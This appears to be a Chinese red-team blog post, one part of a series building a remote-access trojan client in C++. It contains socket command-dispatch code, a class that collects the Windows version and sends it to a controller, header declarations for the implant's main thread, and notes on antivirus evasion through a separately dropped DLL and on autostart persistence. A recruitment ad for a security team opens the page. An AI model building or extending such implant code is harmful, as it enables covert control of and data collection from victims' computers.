红队专题
- 招募六边形战士队员
- 端
- 操作系统SystemInfo类
- 获取系统信息
- 发送系统信息
- 头文件声明
- 头文件调用
- 未找到来自 OleAcc.dll 的导入LINK
招募六边形战士队员
一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
端
发送连接->进入主线程->返回socket->执行命令
->SYSINFO获取系统信息->发送系统信息
switch(msg.Msg_id){case SYSINFO:{printf("GetSystemInfo\n");m_sys.SendSysinfo(l_Socket);}break;default:{printf("UnKnow Command\n");return;}}
封装类
谁使用谁声明谁调用
免杀 kill 类 做成dll文件 分离释放
操作系统SystemInfo类
获取系统信息
int CSystemInfo::GetSys_ver()
{OSVERSIONINFO osver = {sizeof(OSVERSIONINFO)};GetVersionEx(&osver);int t;if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 0){t = 0;}else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 1){t = 1;}else if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0){t = 2;}else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 2){t = 3;}else t = 4;return t;
}
发送系统信息
void CSystemInfo::SendSysinfo(SOCKET sock)
{SYSTEMINFO_S system;system.os = GetSys_ver();system.ver = 0.1; //版本号system.Cam = false;MSGINFO_S msg;memset(&msg,0,sizeof(MSGINFO_S));msg.Msg_id = SYSINFO;memcpy(msg.context,&system,sizeof(SYSTEMINFO_S));m_sock.MySend(sock,(char*)&msg,sizeof(MSGINFO_S));// 使用了 CMysocket这个类
}
头文件声明
#pragma once
#include "MySocket.h"
#include "Common.h"class CSystemInfo
{
public:CSystemInfo(void);~CSystemInfo(void);void SendSysinfo(SOCKET sock);CMySocket m_sock;
private:int GetSys_ver();};
#define SYSINFO 0x01
// 通用结构体文件
路径
自启动
头文件调用
#pragma once#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"
#include "SystemInfo.h"class CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();bool RunFlag;SOCKET Run();void Command(SOCKET Sock);private:void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];SOCKET m_Socket;int Time;CSystemInfo m_sys;};
未找到来自 OleAcc.dll 的导入LINK
/DELAYLOAD:OleAcc.dll;
warning LNK4199: 已忽略